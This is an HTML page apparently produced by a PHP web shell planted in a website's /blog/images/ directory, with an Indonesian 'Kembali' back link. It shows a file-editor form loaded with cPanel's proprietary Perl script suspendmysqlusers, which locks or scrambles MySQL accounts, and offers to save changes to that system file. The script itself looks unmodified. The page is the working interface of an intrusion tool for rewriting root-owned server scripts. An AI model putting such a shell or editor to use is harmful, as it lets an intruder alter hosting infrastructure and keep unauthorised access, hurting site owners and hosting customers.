<h2>Edit File - suspendmysqlusers</h2><form method="POST" style="padding:20px">
                <input type="hidden" name="edit_file" value="/usr/local/cpanel/scripts/suspendmysqlusers">
                <textarea name="file_content" style="width:100%; height:400px; font-family:monospace;">#!/usr/local/cpanel/3rdparty/bin/perl

# cpanel - scripts/suspendmysqlusers               Copyright 2022 cPanel, L.L.C.
#                                                           All rights reserved.
# copyright@cpanel.net                                         http://cpanel.net
# This code is subject to the cPanel license. Unauthorized copying is prohibited

package scripts::suspendmysqlusers;

use strict;
use warnings;

use Cpanel::DB::Map::Reader     ();
use Cpanel::DB::Utils           ();
use Cpanel::Mysql::Passwd       ();
use Cpanel::MysqlUtils::Command ();
use Cpanel::MysqlUtils::Quote   ();
use Cpanel::MysqlUtils::Compat  ();
use Cpanel::Logger              ();
use Cpanel::MysqlUtils::Connect ();
use Cpanel::MysqlUtils::Version ();

if ( !caller() ) {

    my ( $user, $team ) = @ARGV;

    if ( !$user ) {
        print &quot;USAGE: $0 &lt;user&gt;\n&quot;;
        exit 1;
    }
    suspend( $user, $team );
}

sub suspend {
    my ( $cpuser, $team ) = @_;

    my $logger = Cpanel::Logger-&gt;new();
    my ( $team_owner, $team_user, $mysql_team_user );

    # suspend the team-user mysql account alone
    if ( defined $team ) {
        ( $team_owner, $team_user ) = split /_/, $cpuser;
        $mysql_team_user = $cpuser;
        $cpuser          = $team_owner;
    }
    my $map = Cpanel::DB::Map::Reader-&gt;new( &#039;cpuser&#039; =&gt; $cpuser, engine =&gt; &#039;mysql&#039; );

    my @user_list = $map-&gt;get_dbusers_plus_cpses();

    # Case48428 - Need to include the parent user associated with the database and not just virtual users
    # when suspending accounts in MySQL.
    # Also, the DB map datastore might have a different owner name associated with the user
    # account which the databases are tied to.
    my @db_owner = (
        $cpuser,
        Cpanel::DB::Utils::username_to_dbowner($cpuser),
    );
    push @user_list, @db_owner;

    my $user_list = !defined $team ? join &#039;,&#039;, map { Cpanel::MysqlUtils::Quote::quote($_) } @user_list : Cpanel::MysqlUtils::Quote::quote($mysql_team_user);

    Cpanel::MysqlUtils::Connect::connect();

    my $row_name = Cpanel::MysqlUtils::Compat::get_mysql_user_auth_field();

    my $result = Cpanel::MysqlUtils::Command::sqlcmd(&quot;SELECT User, Host, $row_name from mysql.user WHERE user IN ($user_list)&quot;) || &#039;&#039;;

    my @lines = split /\n/, $result;
    my %result;
    foreach my $line (@lines) {
        my ( $user, $host, $pass ) = split /\s+/, $line, 3;

        if ( !$pass ) {
            $logger-&gt;info(&quot;MySQL user $user\@$host has a blank password!&quot;);
            $result{$user}{$host} = &#039;*&#039; x 41;
        }
        else {
            $result{$user}{$host} = $pass;
        }
    }

    foreach my $user ( keys %result ) {
        foreach my $host ( keys %{ $result{$user} } ) {
            if ( $result{$user}{$host} =~ m/^\*/ ) {
                $result{$user}{$host} =~ s/^\*//;
                $result{$user}{$host} = reverse $result{$user}{$host};
                $result{$user}{$host} = &#039;-&#039; . $result{$user}{$host};
            }
            else {    # Case 76857
                $result{$user}{$host} =~ s/^([0-9a-f]{16})$/ ( &#039;!&#039; x 25 ) . reverse($1) /e;
            }
        }
    }

    my $mysql = Cpanel::Mysql::Passwd-&gt;new( { cpuser =&gt; $cpuser } );

    my @sql_cmds;
    foreach my $user ( keys %result ) {
        foreach my $host ( keys %{ $result{$user} } ) {
            my $pass = $result{$user}{$host};

            my $mysql_version = _long_mysql_version_or_default();

            # Per docs on MySQL 5.7.6 - https://dev.mysql.com/doc/refman/5.7/en/grant.html
            # We can no longer use GRANT statements to change the password.
            # However, since 5.7 ships with Account Locking capabilities, we will utilize that instead to lock the accounts.
            if ( Cpanel::MysqlUtils::Version::is_at_least( $mysql_version, &#039;5.7.6&#039; )
                &amp;&amp; !Cpanel::MysqlUtils::Version::is_at_least( $mysql_version, &#039;10.0.0&#039; ) ) {

                push @sql_cmds, &#039;ALTER USER &#039; . Cpanel::MysqlUtils::Quote::quote($user) . &#039;@&#039; . Cpanel::MysqlUtils::Quote::quote($host) . &#039; ACCOUNT LOCK;&#039;;

            }
            else {

                # Passing in 1 to specify a password change
                $mysql-&gt;passwduser_hash( $user =&gt; $pass, 1 );
            }
        }
    }

    # This must be done in the foreground or pkgacct will break.
    push @sql_cmds, &#039;FLUSH PRIVILEGES&#039;;
    Cpanel::MysqlUtils::Command::sqlcmd( \@sql_cmds );

    return 1;

}

sub _long_mysql_version_or_default {
    local $@;
    my $long_version = eval { Cpanel::MysqlUtils::Version::current_mysql_version()-&gt;{&#039;long&#039;} };

    if ($@) {

        # current_mysql_version has extensive logic to determine the current
        # version.  If it fails, MySQL is likely beyond repair and we need to reinstall.
        return $Cpanel::MysqlUtils::Version::DEFAULT_MYSQL_RELEASE_TO_ASSUME_IS_INSTALLED;
    }

    return $long_version;
}

1;
</textarea><br><br>
                <button type="submit" class="btn">Save</button>
                <a href="/blog/images/1781637752_1754069486_sh2.php?dir=." class="btn gray">Kembali</a>
              </form>